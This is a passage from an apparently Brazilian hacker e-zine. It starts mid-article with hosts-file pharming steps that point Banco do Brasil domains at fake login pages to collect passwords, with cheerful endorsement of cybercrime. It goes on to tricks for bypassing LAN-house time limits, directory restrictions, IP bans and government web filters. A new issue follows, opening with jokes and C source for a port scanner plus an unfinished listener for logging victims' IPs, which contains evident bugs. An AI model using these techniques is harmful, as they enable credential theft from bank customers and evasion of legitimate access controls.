se trata, garanto. E tem a questao daqueles manohs que gostam de rastrear IP, o maximo que
eles fazem eh ir no registro.br (Caso teu IP pareca Brasileiro =) e whois e empurram teu
IP la, dpois eles conseguem teu provedor e tua cidade, ae eles nao querem entrar com um
pedidio judicial para ter seus dados e de 1 uma hora para outra pensam em convidar os
funcionarios do seu ISP (Internet Service Provider - Provedor de Acesso a Internet) para
uma pexada com muita cachaca e "PEIXE" e pegam teu endereco...:) Ou ateh mesmo invadem
o server q guarda essas informacoes e pegam seus dados pessoais, os dados de sua namorada,
de sua avo, de sua tia distante e resolvem tranformar a vida deles em um lindo HELL. (Nao
duvide). Enfim, para evitar esse transtorno tente nao fazer PHARMING eheh, mas se naum tem
jeito encode seu IP para encobrir seu host que muito provavelmente vai conter um apache
rodando e uma Fake Page hospedada (Hail Phishing!). Ah! Lembre-se de mandar um batch qual-
quer por msn e tals, para evitar que MESMO estando encodado, o tal do indentificador de
sua maquina ainda esteje la (Se voce nao entendeu eu quis dizer isso '>' no 'hosts'). Faca
um teste usando o arquivo hosts que se encontra neste diretorio aqui o (WinXP):

%systemroot%\system32\drivers\etc\hosts

Acho que voces ja devem saber disso. No linux o file eh o /etc/hosts, olha que coisa + im-
previsivel..;P Quem poderia imaginar que ele ficaria no /etc/? \O/, mas no linux o 'hosts'
nao resolve IP em formato decimal inteiro. Mas vou mostrar um exemplo de PHARMING in unix
porque eu gosto de transmitir cultura para os povos.


# Copyright (c) 1993-1999 Microsoft Corp.
#
# Este é um arquivo HOSTS de exemplo usado pelo Microsoft TCP/IP para Windows.
#
# Este arquivo contém os mapeamentos de endereços IP para nomes de host. Cada
# entrada deve ser mantida em uma linha individual. O endereço IP deve
# ser colocado na primeira coluna, seguido do nome de host correspondente.
# O endereço IP e o nome do host devem ser separados por pelo menos um
# espaço.
#
# Adicionalmente, comentários (como estes) podem ser inseridos em linhas
# individuais ou após o nome de computador indicado por um símbolo '#'.
#
# Por exemplo:
#
# 102.54.94.97 rino.acme.com # servidor de origem
# 38.25.63.10 x.acme.com # host cliente x

127.0.0.1 www.fake.org smile putx # Estes 3 DNS's resolvem o IP de loopback
3232235777 hash # Esse DNS resolve esse formato de IP
192.168.1.1 hash2 # Este outro DNS resolve este IP classic



Esse negocio de Pharming antigamente me dava um tesaum da p0rra ve'i. Agora vamos ver
um exemplo de um arquivo d hosts em linux apenas por uma questao didatica [:


127.0.0.1 Black_Machine localhost
127.0.0.1 www.fulo.com.br # <- Olha que legal...:)

# The following lines are desirable for IPv6 capable hosts
# (added automatically by netbase upgrade)

::1 ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
ff02::3 ip6-allhosts

Quando a vitima acessar o site www.fulo.com.br ela vai ser redirecionada para o proprio
endereco IP de loopback (127.0.0.1). Tem gente que instala servidor na propria maquina p/
ktar os pass da galera sem precisa d email (PHP Rulez). Eu fazia muito isso em LAN's, ins-
talava o IIS e hospedava no inetpub 1 fakepage com 1 formezinho p/ mandar pro meu email as
senhas ou escrevia la mesmo. Eh massa quando o msmo server responde a 2 nomes de dominio,
ai vc pode usar o 'location' em 'js' tranquilo quando contaminar um dos DNS's que o host
remoto responde (Ou o mais famoso ou o mais utilizado, isso depende muito do seu nivel de
conhecimento sobre sua V1T1M4), da menos na telha...:)

Alguem ja tentou:

www.BB.com.br
www.BancoDoBrasil.com.br

??? Esses DNS's levam para o mesmo dominio. Black Hat and Cyber Crime rlz! Isso da cadeia.

Outro exemplo:

http://www.forum-invaders.com.br
http://www.forcehacker.com

Outro macete bom eh criar uma pagina qualquer sem mesmo ter um servidor web rodando na
maquina, como a pagina vai se iniciar?? Simples!! Basta configurar os browsers da vitima
para carregar esse 'arquivo como pagina inicial, ou ate mesmo deixar nos desktops das LAN
Houses links escrito: Orkut. Juro q tem gente que cai nessa, ou quem sabe vc pode deixar
sua HP com a fake /p como pagina inicial sem ter que usar PHARMING, pq c sabe como eh o
pessoal leigo (Filha?), o pessoal nao olha para a barra de endereco, eles nem sabem o que
eh a barra de endereco. Mas eh mais garantido usar pharming porque vai ter o DNS do site
estampado na barra de end, ou seja, isso da menos na telha...:) No firefox e no internet
explorer voce pode usar um arquivo salvo no PC como pagina inicial apenas utilizando o
nosso amigo 'file://', exemplo:

file://C:/index.htm

Vai carregar o index.htm que ta no C: toda vez que sua filha rodar o browser dela pra
acessar a page da Barbie bruxa ehehe. O file:// eh utilizado p/ carregar arquivos locais,
agora imagina a utilizacao disso. Imaginou? Em muitas LAN's o acesso ao shell e restrito
pelos gerenciadores d tempo (q podem ser pausados tranquilamente com o programa 'Process
Explorer', basta clicar com o botao direito do mouse sobre o icone que representa o pro-
cesso do gerenciador [Facil reconhecer :] e ir ate 'Suspend', dae fique o tempo que vc
quiser cm apenas 50 centavos, isto eh bom em lans muito grandes, adorava isso. Voce entao
tenta usar o explorer mas eh exibida uma mensagem dizendo que o acesso ao 'system32' foi
bloqueado pelo administrador, e agora, voce chora? Voce eh viado? Nao, vc abre seu browser
(Gosto do Firefox, pq sera?? =) e digita

file://c:/Windows/system32

Apos um [Enter] sera listado todo conteudo de system32 e na barra de endereco
voce vera uma nova barra

file:///c:/Windows/system32

Isso significa que ele esta contando com a raiz (/) e ae eh so executar o que voce quizer,
porque voce pode, voce leu um paper do lider da Corporacao Vibora manoh :) Ainda existem
expertinhos que impedem isso... :P Oh! e agora, o q vc faz? Vc chora? Nao! Voce entra em
qualquer diretorio que tenha permissoes e da 1 Ctrl+F para procurar no system32 o cmd.exe
ou qualquer outra pOrra q vc quiser, pois pesquisas nos diretorios normalmente sao permi-
tidas (Apesar q diretamente [Explorer] voce nao possa acesa-los), isso eh bom tambem como
saida para LANs em q o acesso ao 'Executar' eh proibido. Nada t segura, vc eh foda, vc leu
um paper do lider da Viper Corp manoh...:)

Gostaria de dar uma dica para os "DESATENTOS" com relação ao pharming:

2 DNS 's resolvem o mesmo ip, ou seja:

IP http://www.bb.com.br/ http://www.BancoDoBrasil.com.br/

Com isso vc pode contaminar os dois nomes de dominio no hosts, assim a vitima nao vai ter
escapatoria, ou ela vai, ou ela VAI.


+------------------------------------------------------------+
|9 - Nao consegui arrumar um titulo para esse capitulo... -.-|
+------------------------------------------------------------+

Para esse capitulo eu pensei em um bocado de coisa que chamase a tal da atencao dos
leitores, pensei em 1 monte, mas fiquei com esse mesmo. Tava pensando em algo do tipo:

"Como burlar filtros de dentro para fora 'E' como burlar ACL de sites de fora para
dentro (bloqueiam teu IP? oh! que medA), utilizando um simples proxy...:) Lembra
'#phobia'??? rsrs."



Mas como hoje eh 10:36 29/3/2010 e esse texto foi originalmente escrito em 2007, resolvi
variar, achei melhor deixar esse titulo ae. Eu acessava o dk lame (Iniciante ;), isso nao
mas infelizmente o super hacku e malandrinho do #phobia bloqueou o acesso do meu 'IP' ao
forum, ae eu tive que me virar como eu podia para obter informacao desse excelente forum
de securanca (Estamos em 2010), foi entao que eu entrei nesse site:

http://www.AnonyMouse.org

E acessei o wWw.darkers.com.br. O que aconteceu foi que o firewall ou algo do tipo bloqueava
meu acesso se meu IP fosse detectado, mas esse site acima (AnonyMouse) e muito util quando
queremos burlar esse tipo de filtro podre, pois ele nos redireciona para outro site com um
endereco IP diferente, ou seja, voce poderia estar com um enderecp IP da China ou ate mesmo
da Argentina e tals. Isso eh muito bom p/ burlar o Easy Share, e essas sites de uploading em
geral, as vezes existe uma taxa maxima de download permitida p/ um determinado IP, repare q
falei "Um determinado IP", ou seja, para burlar isso acesse esses sites que servem de CANO
P/ voce poder fazer seus downloads livremente, mas esse eskeminha num rola com o rapidbosta,
mas com o Easy Share eu garanto que funfa (Atualmente). Se bem q teve um amigo que me chamou
de genio so porque eu pedi p/ ele testar no rapidbosta, diz ele que tava baixando, acho que
eh verdade sim, porque o rapaz tava bastante empolgado p/ agradecer...;) Para voce testar se
funcionou acesse esse www.OmeuIP.com e veja seu IP original, depois vc entrar no AnonyMouse
e escreve www.OmeuIP.com la, ai vc vai ver o endereco IP que o anonymouse deu para vc e nao
seu IP original, agora -> Smile =). Eu adoro HTTP proxy (Comumente chamados de Webproxy),
veja que eles servem para lhe dar uma maior seguranca e tals, pois vc precisa de privacidade
e nao quer ninguem tenha seu IP original, mas como tudo no mundo ----> Podem ser usados p/ o
lado negro da coisa...:) rsrsrs. Mas minha festa la nesse forum acabou depois que eu postei
que tinha feito isso. Nem sempre isso vai funfar, por motivos que nao vem ao caso cita-los
neste documento porque esse paper ja perdeu o rumo faz tempo e num quero disvirtuar mais o
negocio, mais do q ele ja ta :P Existem "varios" sites que servem como Webproxy, alem do
anonymouse e tals. Nao acabou amigo, ainda podemos configurar nossos browser's p/ usar algum
outro servidor proxy, publico. Eu recomendo fortemente que voce use os proxys "confiaveis"
desse site aqui (, mas se este site estiver sendo filtrado faca o favor de obter o IP dele
em algum outro local e converta para decimal inteiro, ou anote os IP's dos servidores q ele
divulga juntamente com suas respectivas portas p/ vc usar no emprego rsrs. Ah! Nao esqueca,
logo em seguida-> Sorria):

http://www.proxy4free.com/

No proxy4free existem varias listas de proxys para voce usar, tente procurar usar sempre os
proxys de alta anonimicidade, nem sempre vc voce achar um proxy que funfe de primeira, por
isso voce tem que ir testando ate achar um que seja usavel. Lembrando q sua conexao vai
ficar + lenta pq c ta usando um proxy ne meu fi ^^, e isso significa que seus pacotes vao
passar por ele p/ soh depois chegar ao destino, mas garanto que o negocio funciona mesmo. Vc
pode Confiar.

+--------------------------------------------------------------------------------+
|10 - Burlando projetos de acesso livre a internet feitos pelo governo brasileiro|
+--------------------------------------------------------------------------------+

Tentei acessar agora a pouco o milw0rm no ilha digital, resultado:

Page Blocked

The requested URL is blocked according to the web filtering policy. For more information,
please contact your system administrator.
Time: Wed Mar 24 22:16:18 2010
URL: www.milw0rm.com
Category: Hacking
Ticket ID: {DEA959AA-3792-11DF-903B-000000003838}


Foi proibido. Entao Ctrl+F em qualquer diretorio e procure o cmd.exe a partir da raiz
do sistema (c:\ no meu caso) devido a restricoes na maquina. Abra o shell e digite:


C:\WINDOWS\system32>ping www.milw0rm.com

Disparando contra www.milw0rm.com [66.227.17.18] com 32 bytes de dados:

Esgotado o tempo limite do pedido.
Esgotado o tempo limite do pedido.
Esgotado o tempo limite do pedido.
Esgotado o tempo limite do pedido.

Estatísticas do Ping para 66.227.17.18:
Pacotes: Enviados = 4, Recebidos = 0, Perdidos = 4 (100% de perda),


O aviso de tempo esgotado eh porque o firewall do milw0rm nao retorna pacotes ICMP
echo reply. Mas nosso intuito (o meu) aqui eh ver a page, entao pegamos o endereco
IP que nos foi retornado e tentamos acessar a page utilizando o IP ao inves de DNS,
ou seja:

http://66.227.17.18/author/1863

Isso signfica:

Author: 6_Bl4ck9_f0x6

[ papers ]


-::DATE -::DESCRIPTION -::HITS -::AUTHOR
2009-07-22 [portuguese] Retornando para libc - Parte I 3440 D 6_Bl4ck9_f0x6
2009-05-08 [portuguese] Explorando Stack Overflow no Windows 4484 D 6_Bl4ck9_f0x6
2009-03-06 [portuguese] Amenizando Recusa de Servico Remota 3574 D 6_Bl4ck9_f0x6


Burlei o filtro do governo de meu pais (Foi por uma boa causa). Isso vale para todas as outras filias
do projeto, espalhadas por todo o pais ;) PADROES DO GOVERNO. O admin esqueceu de bloquear o formato
decimal inteiro. Os moleques nao iam fazer muita coisa no milw0rm mesmo. Nao ache que nao tentei soh
de "praxe" ver o anonymouse

Page Blocked

The requested URL is blocked according to the web filtering policy. For more information, please
contact your system administrator. Time: Wed Mar 24 22:25:42 2010
URL: www.anonymouse.org
Category: Remote Proxies
Ticket ID: {2EC728D0-3794-11DF-9BB3-000000009898}

Olha a categoria no qual a page estah incluida: Remote Proxies


Nao tentem acessar sacanagem molecada, soh foi um texto para voces aprenderem como burlar, nao
facam isso em casa, caso seus pais instalem filtros para "impedilo-los" de acessar putaria
o dia inteiro e a noite inteira, reduzindo (nao empedindo) significativamente seu periodo
relativo de exercicios, e consequentemente impedindo-os de fuder com pessoas reais e o que eh
melhor, solidas, COM MAIS IMAGINACAO do que se vc nao tivesse visto putaria.

*Isso foi uma piada*

Voltaremos ao governo...

O que acontece eh que o administrador da rede apenas fez restricoes a requests em formato
DNS. Manda o 66.227.17.18 no browser que eu quero ver. Bem, isso nao eh uma falha critica
de seguranca, mas deixa os moleques bem animados (Nao to triste nao rapaz =).


+---------------------------------------+
|11 - Adios amigos |
+---------------------------------------+


10:46 29/3/2010


Piscina, suas duas rainhas, churrasqueira e muito refrigerante.


"Papai? O senhor ainda ta jogando?"
-- Unknown for a while [s]


That's all folks...


[]`s


by

6_Bl4ck9_f0x6 - Viper Corp Group



-- The C.O.D.E (Computadores Orgasmo Destruicao Ezines 0x02) starts here --



_ _ _ _ ____ _____ ____ ____ ____ ___ _ _ _ _ ____
| | | | \ | | _ \| ____| _ \ / ___| _ \ / _ \| | | | \ | | _ \
| | | | \| | | | | _| | |_) | | _| |_) | | | | | | | \| | | | |
| |_| | |\ | |_| | |___| _ <| |_| | _ <| |_| | |_| | |\ | |_| |
\___/|_| \_|____/|_____|_| \_\\____|_| \_\\___/ \___/|_| \_|____/
by 6_Bl4ck9_f0x6
_ __ __
/' \ /'__`\ /'_ `\
/\_, \ /\_\L\ \ /\ \L\ \
\/_/\ \\/_/_\_<_\ \___, \
\ \ \ /\ \L\ \\/__,/\ \
\ \_\\ \____/ \ \_\
\/_/ \/___/ \/_/


<-----xx----------xxx----------xxx-----------xxxxx----->
Recomendo que voce visualize essa zine com o Firefox
ou Internet Explorer ou Opera ou com o bom e velho Netscape,
visualizando o texto com tamanho 'normal' (isso se vc quiser
"perfeicao" manoh).
<-----xx----------xxx----------xxx-----------xxxxx----->


A C.O.D.E agora se chama underground 189 ou 139 (Nao to conseguindo ver
direito) e serah publicada como tal em:

http://wWw.undergroundsecurityresources.blogspot.com

[]==-----------------x-------X----------x-----------------------==[]

Atencao: Mantenha a calma, esse negocio de hacker existe des
de 1945, na segunda guerra mundia jah existia IPX/SPX da Novell.
E esse texto foi escrito originalmente em 2008 e editado
agora (26/3/2010). Portanto, nao chore boneca, nao existe mais
lagartixa na porta, cigarros, nem garrafas de cervejas (Uma pena,
era tudo que eu tava precisando agora - Mature, sled of the mistake),
como voce leu na versao anterior dessa mesma edicao.

[]==-----------------x-------X----------x-----------------------==[]



"O bom humor e a imaginacao eram minhas principais caracteriscas, bem,
continuo bem humorado... Voce conhece o Tiao? Eh, o primo do Carlos =)"


-- Adivinha

===============DXXX=============================xxxxx=======
============================================================
||XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
||XXXXXXX VIPER CORP APRESENTA XXXXXXXXXXXXXXXX
||$$$$%%%%%$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
||$$$$$[[[+ ==========================================
||$$$$$[[[+
||$$$$$[[[+
||$$$$$[[[+ -[+]------------------------[+]-
||$$$$$[[[+ C.O.D.E
||$$$$$[[[+
||$$$$$[[[+ COMPUTADORES - ORGASMO - DESTRUIÇÃO -
||$$$$$[[[+ 'E-ZINES'
||$$$$$[[[+ [As 4 coisas que eu mais gosto na vida]
||$$$$$[[[+
||$$$$$[[[+ Caroline's Horny edition
||$$$$$[[[+ Poderosa cor de rosa que leva.
||$$$$$[[[+
||$$$$$[[[+ -[+]----------[+]-
||$$$$$[[[+ \ | /
||$$$$$[[[+ [EU AMO NAO TER BANNER oO -.- Oo]
||$$$$$[[[+
||$$$$$[[[+ NAO MANDE MAIS SEUS ASCIIs PARA
||$$$$$[[[+ <b-fox@bol.com.br>
||$$$$$[[[+
||$$$$$[[[+ [Talvez com psicologia reversa alguem
||$$$$$[[[+ possa enviar ASCIIs legais]
||$$$$$[[[+
||$$$$$[[[+
||$$$$$[[[+ ==========================================
||XXANO 1 - Nº02 00/00/2008 BY 6_Bl4ck9_f0x6 XXXXXXXXXX
||XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
====================================================
===============DXXX=============================xxxxx=======


----- C4p1Tul0 00


[=] + ============================================================= + [=]
Introducao (Editada)
[=] + ============================================================= + [=]


Primeiramente gostaria de dedicar essa edicao a todos que leram a entrevista com
os caras do grupo "culto da vaca morta comunicacoes" (fundado nos anos 30)
ou como eh popularmente conhecido no meio hacker: Cult of the Dead Cow Comunications.

BBC Panorama
Interview with Deth Veggie and Sir Dystic of the Cult of the Dead Cow

Os que leram, sabem o porque, e talvez possam me contar.


Olah galerinha do mal (com l mesmo), sentiram saudades do tio f0x? Depois de
tanto tempo estou eu aqui escrevendo +1 edicao da C.O.D.E (olha o Struck).
Achu que voces nao aguentam mais ter duas introducaes. Espero que saibam que a
primeira intro (essa que vc estah sucintamente passando o olho) como usual eh
utilizada por mim para me desculpar pela demora desta e de outras eds que demorarem
para sair e tals (A ultima foi em 2008, imagina quanto tempo vai demorar a proxima),
a outra introducao jah e falando do que vai ter na zine e falando sobre os bonus que
acompanham essa edicao (Nunca mandei essas merdas) Bonus eh legal, conheco uma bicha
que compra chiclete soh pra ter as figurinhas como bonus, chiclete maldito (nao to
comendo mais essas coisas). Voces devem estar querendo saber porque a zine atrasou.

=====================
Uma semana depois
=====================

Atrasou porque eu quis, kcete...


[s]


[+ ======X============X===============X===== +]
INDICE
[+ ======X============X===============X===== +]


##########################################################
#Que a força esteja com voce jovem - (star wars_)
#.........................................................
##########################################################

[xXxxxxxxxxxXxxxxxxxxxxxxXxxxxxxxxxxxxxxxXxxxxxxxxxxxxXxxxxxx]

#include <x00. Introducao (edited)................................./6_Bl4ck9_f0x6
#include <x01. Frases do dia>....................................../6_Bl4ck9_f0x6
#include <x02. Emperial[ScanneR] v0.1>............................./6_Bl4ck9_f0x6
#include <x03. Dedicatorias>......................................./6_Bl4ck9_f0x6
#include <x04. Palavras do autor>................................../6_Bl4ck9_f0x6
#include <x05. Introducao a Zine>................................../6_Bl4ck9_f0x6
#include <x06. ESPECIAL C.O.D.E [Zines de ontem e de hoje]>......../6_Bl4ck9_f0x6
#include <x07. Curso de Batch Parte - 3>.........................../6_Bl4ck9_f0x6
#include <x08. Entrevista com Marcos Flavio Araujo Assuncao>......./6_Bl4ck9_f0x6
#include <x09. Curso de linguagem C - Parte 3>...................../6_Bl4ck9_f0x6
#include <x10. File extension Manipulation>......................../6_Bl4ck9_f0x6
#include <x11. Telnet Secure>....................................../6_Bl4ck9_f0x6
#include <x12. O Banimento nunca existiu XP......................../6_Bl4ck9_f0x6
#include <x13. Emperial Encripter v0.1>............................/6_Bl4ck9_f0x6
#include <x14. The King of the Calculators>......................../6_Bl4ck9_f0x6
#include <x15. O Fantastico netcat>................................/6_Bl4ck9_f0x6
#include <x16. Emperial Chat[_cript] - Almost mounted>............./6_Bl4ck9_f0x6
#include <x17. Mail Box>.........................................../6_Bl4ck9_f0x6

The End>

----- C4p1Tul0 01


[+] X======================================X +]
FRASES DO DIA
[+] X====================================== X+]


------------------------------ cut ----------------------------------------
H.U.M.O.R
Especial Murphy - O sabio dos sabios


O bom eh que nao eh preciso usar sarcarmo pra sorrir com esse capitulo.

Nota:

"Quando voce se sentir mal, entendiado, abra essa e-zine e logo em seguida
PULE A PORRA DESSA SESSAO E SOFRA MAIS, DESGRACADO"


---> G ordinho gotico suicida du mau.

"Nao se pode prender quem tem asas (kokoricooooh)".

---> Chicken says


===================================================================
"Sorria... amanhã será pior."
===X====================X========================X=================
"Se você está se sentindo bem, não se preocupe. Isso passa."
===X====================X========================X=================
"Não importa o que sai errado, sempre dará a impressão de certo."
===X====================X========================X=================
"Se a experiência funcionou na primeira tentativa, tem algo errado."
===X====================X========================X=================
"Mais vale um pássaro na mão do que um voando sobre a nossa cabeça."
===X====================X========================X=================
"Uma pessoa saudável é aquela que não foi suficientemente examinada."
===X====================X========================X=================
"Tudo que é bom na vida é ilegal, imoral ou engorda."
===X====================X========================X=================
"Por que será que números errados nunca estão ocupados?"
===X====================X========================X=================
"Um atalho é sempre a distância mais longa entre dois pontos."
===X====================X========================X=================
"Se você não está confuso, não está prestando atenção."
===X====================X========================X=================
"Sexo leva muito menos tempo do que os problemas que dele decorrem."
===X====================X========================X=================
"Sexo é como neve: você nunca sabe quantos centímetros vai atingir
e o quanto vai durar."

===X====================X========================X=================
"Sexo é hereditário: se seus pais não fizeram, há uma grande chance
de você também não fazer."

===X====================X========================X=================
"Você não pode gerar um bebê em um mês engravidando nove mulheres."
===X====================X========================X=================
"Não vai doer, prometo."
===X====================X========================X=================
"Na guerra, o inimigo ataca em duas ocasiões: quando ele está
preparado, e quando você não está."

===X====================X========================X=================
"Um plano de invasão ao quartel inimigo prova que você foi
inteligente o bastante para planejar, estúpido o bastante para
tentar, e sortudo o bastante se sobreviver."

===X====================X========================X=================
"Sexo é uma das nove razões para a reencarnação, as outras oito não
importam."

===X====================X========================X=================
"Tudo leva mais tempo do que se pensa, a não ser no caso de
ejaculação precoce."

===X====================X========================X=================
"Você sabe que vai ser um dia ruim quando:
- seu irmão gêmeo esquece o dia do seu aniversário;
- você põe sua cueca ao contrário e sente que ficou mais confortável;
- você acorda e descobre que seu colchão d’água está com vazamento,
e então você descobre que não tem um colchão d’água."

===X====================X========================X=================
"Amigos vêm e se vão, inimigos se acumulam."
===X====================X========================X=================
"Cartas importantes que não contém nenhum erro serão despachadas
em lugar errado. Cartas com erros aparecerão em duplicata na mesa
do chefe."

===X====================X========================X=================
"Uma maneira de se parar um cavalo de corrida é apostar nele."
===X====================X========================X=================
"Toda partícula que voa sempre encontra um olho."
===X====================X========================X=================
Não importa que voce caia, desde que voce apanhe algo no chao
quando se levantar.
===X====================X========================X=================
É quase sempre mais fácil entrar do que sair de qualquer coisa.
===X====================X========================X=================
Voce pode observar muito só olhando.
===X====================X========================X=================
Voce nunca pode identificar qual dos lados da torrada é o lado que
se deve passar a manteiga.
===X====================X========================X=================
Um objeto sempre cai de forma a causar o maior prejuízo possível.
===X====================X========================X=================
Um contrato verbal é aquele que nao vale o papel em que seria escrito.
===X====================X========================X=================
Nao importa o quando o produto custa, mas quanto voce ganha
de desconto.
===X====================X========================X=================
Arcebispo. Um eclesiástico cristão com o grau superior ao de Cristo.
Puritaninsmo. O enorme medo de que alguém, em algum lugar, possa ser
feliz.
===X====================X========================X=================
Se é verdade, é biologia.
Se fede, é química.
Se não funciona, é fisica
===X====================X========================X=================
Mal de cú é rola fina --> by Mario Miranda Magalhães
===X====================X========================X=================
Sempre existe mais um bug
===================================================================
------------------------------ cut ----------------------------------------

[xXxxxxxxxxxXxxxxxxxxxxxxXxxxxxxxxxxxxxxxXxxxxxxxxxxxxXxxxxxx]

[xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxXxx]
[Vo da 3 tiro no seu suvaco pra voce morrer
[achando graça infeliz]
[xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxXxxx]
##############X#############X############X###############

Antencao: Essa e-zine eh gratuita, se voce vender ela eu quero a minha parte.


[s]


----- C4p1Tul0 02


[=] + ==========XXXX============ + [=]
*** Emperial[ScanneR] ***
[=] + ==========XXXX============ + [=]


As vezes nos precisamos varrer algumas portas em um sistema X e nao
temos uma ferrramenta pratica, simples e crua. Recorremos ao nmap
apenas para ver algumas portinhas e tals, mas o nmap tem muitos
componentes e o PC num é teu, dai complica extract to system32 caso
voce nao saiba editar um PATH na sua vida, mas para evitar isso eu
fiz esse scanner de portas simples e pratico. Quando nossa vitima é
leiga se faz necessario a utilização de algum scanner qualquer para nos
mostrar o que queremos, os scanners de portas. Usando TCP syn é muito
facil detectar um scan, mas como sempre -> vitimas leigas nao contam <-
Espero que voces gostem da ferramenta, ela está sendo muito util para mim.


---- Emp_scan.c ----

/*
* Emperial[ScanneR] v0.1 by 6_Bl4ck9_f0x6
*
* --> Windows <--
*
* [X] ============X==============X===== [X]
* XxX VIPER CORP GROUP XxX
* <-> Underground Max <->
* [X] ============X==============X===== [X]
*
* Port Scanner TCP/HandShake
* com Funcionalidades de
* -> Footprint <-
*
* ---------------------------------------------------------------
* [ -> Dedico essa ferramenta e todas as outras que surgirem <- ]
* [ -> a todos os membros desse grupo de potencial, um abraço <- ]
* [ -> a todos os caras do grupo e um beijo para todas as <- ]
* [ -> minas, em especial a mais nova integrante do grupo <- ]
* -> Mina Mistery <-
* --> Espero que fique ao nosso lado por muito tempo. <--
* ---------------------------------------------------------------
*
*
* Atenção: Para usar a funcionalidade de http footprint
* Use: Emp_scan.exe http/footprint
*
* OBS: Deixe seu firewall abrir a porta 80 de seu host
* para receber as conexões de suas vitimas.
*
* Use um redirecionador de URL e mascare seu IP.
* Logo depois mande seu endereço Mascarado para
* a vitima, quando a mesma acessar voce terá o
* endereço IP dela e informações uteis para um
* ataque mais ofensivo do que o FootPrint. Con-
* sulte a documentação. Baixe-a em:
*
* http://www.hunterhacker.xpg.com.br/Emp_scan_Document.pdf
*/


// HTTP/FOOTPRINT EM DESENVOLVIMENTO.

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <windows.h>
#include <winsock2.h>

#define BADSTAT -1
#define BACKLOG 10
#define MINDHUNTER "http/footprint"

int tsuder (void){

printf (" 6"); Sleep (200);
printf ("_"); Sleep (100);
printf ("B"); Sleep (200);
printf ("l"); Sleep (100);
printf ("4"); Sleep (200);
printf ("c"); Sleep (100);
printf ("k"); Sleep (200);
printf ("9"); Sleep (100);
printf ("_"); Sleep (200);
printf ("f"); Sleep (100);
printf ("0"); Sleep (200);
printf ("x"); Sleep (200);
printf ("6\n\n"); Sleep (100); }

WSADATA dados;
struct sockaddr_in vitima;
struct sockaddr_in list_ing;
char banner[255], my_footprint[255];
char buffer_received[255];
char httpfoot[sizeof (MINDHUNTER)];

int main (int argc, char *argv[]){

int x=0, i=0, size, check;
int my_sock, connectx, door;
char about[]=" Emperial[ScanneR] \n\n\
BY\n"
;
system ("cls");

if (argc==1){goto Smile;}

/* Anti Stack Overflow: */

strncpy (httpfoot, argv[1], strlen (MINDHUNTER));
printf ("[%d] Protegido contra Stack Overflow\n", strlen (httpfoot));

if (strcmp (httpfoot, MINDHUNTER) == 0){
system ("cls");
system ("title HTTP FootPrint");
printf ("HTTP FootPrint by 6_Bl4ck9_f0x6\n\
Copyright 2006-2008 Viper Corp.\n\n"
);
printf ("======================================================\n");
printf ("%s\n", about);
tsuder ();

if (WSAStartup (MAKEWORD (1,1),&dados) == SOCKET_ERROR){
fprintf (stderr, "Erro ao iniciar dll's de socket!\n");
WSACleanup();
exit (BADSTAT);}


my_sock = socket (AF_INET, SOCK_STREAM, 0);

if (my_sock == -1){
perror ("Error socket!");
WSACleanup ();
exit (BADSTAT);}

list_ing.sin_family = AF_INET;
list_ing.sin_port = htons (80);
list_ing.sin_addr.s_addr = INADDR_ANY;

memset(&list_ing.sin_zero,0,8);

if (bind(my_sock, (struct sockaddr *)&list_ing, sizeof (list_ing)) == -1){
fprintf (stderr, "Erro ao Bindear porta!\n");
exit (BADSTAT);}

fprintf (stdout, "Porta %d em Listening...", 80);

if ((listen (my_sock, BACKLOG)) == -1){
system ("cls");
puts ("Ops! Nao consegui escutar\n");
return 0;}

check = accept (my_sock,0,0);

if (check==-1){
puts ("Problemas na conexao!\n");
return 1;}

printf ("\n\nO endereco IP [%s] estabeleceu uma conexao na porta [%d]\n",
inet_ntoa (list_ing.sin_addr), ntohs (list_ing.sin_port));


/* Fazer um looping para ele sempre voutar a escutar na porta e gravar
no file os log's =) */


FILE *foot_log;

if ((foot_log = fopen ("Foot_log.log", "a")) == NULL){
puts ("Nao consegui criar o arquivo de log,\n");
puts ("possivelmente por fauta de espaco no disco\n");

// Mas da pra visualizar na shell -> puts (buffer_received =) <-

return (1);}

recv (my_sock, buffer_received, strlen (buffer_received),0);
fprintf (foot_log, "%d", buffer_received);

puts ("\nArquivo de log criado com sucesso!\n");
fclose (foot_log);
printf ("\n======================================================\n");
exit (BADSTAT);}

Smile:
if ((argc < 4) || (argc > 4)){
printf ("\nx===x==x=====x===x=====x==x===x==x==x==x===x\
===xx==x==\n"
);
printf ("%s\n", about);

tsuder ();

fprintf (stderr, "Uso: %s <ip> <porta_inicial> \
<porta_final>\n\n"
, argv[0]);
printf ("x===x==x=====x===x=====x==x===x==x==x==x===x\
===xx==x==\n"
);
Sleep (200);
exit (BADSTAT);}

door = atoi (argv[2]);

if (WSAStartup (MAKEWORD (1,1),&dados) == SOCKET_ERROR){
puts ("Problemas -> WSAStartup");
exit (BADSTAT);}

printf ("%s\n", about);
tsuder ();
fprintf (stderr, "[X] ============X==============X===== [X]\n\n");
for (door;door<= atoi (argv[3]);door++){

my_sock = socket (AF_INET, SOCK_STREAM, 0);

if (my_sock == -1){
perror ("Error socket!");
WSACleanup ();
exit (BADSTAT);}

vitima.sin_family = AF_INET;
vitima.sin_port = htons (door);
vitima.sin_addr.s_addr = inet_addr (argv[1]);

for (x;x<8;x++){
vitima.sin_zero[x]=(char)0;}

size = sizeof (vitima);

SetConsoleTitle ("Varrendo usando TCP -> SYN ");
connectx = connect (my_sock, (struct sockaddr *)&vitima, size);

if (connectx == SOCKET_ERROR){
fprintf (stderr, "Porta [%d] fechada\n", door);}
else {
fprintf (stdout, "Porta [%d] Aberta <-- \n", door);

puts ("\nBanner:\n");

if (recv (my_sock, banner, sizeof (banner), 0) < 0){
fprintf (stderr, "Erro ao recever banner!\n");
exit (BADSTAT);}

puts (banner);

FILE *scan_log;
scan_log=fopen ("scan_log.txt", "a");

if (!scan_log){
perror ("\nErro ao abrir arquivo de log -> ");
printf ("\n");
continue;}
fprintf (scan_log, "Porta [%d] em [%s] Aberta\
\n"
, door, inet_ntoa (vitima.sin_addr));
fclose (scan_log);}}
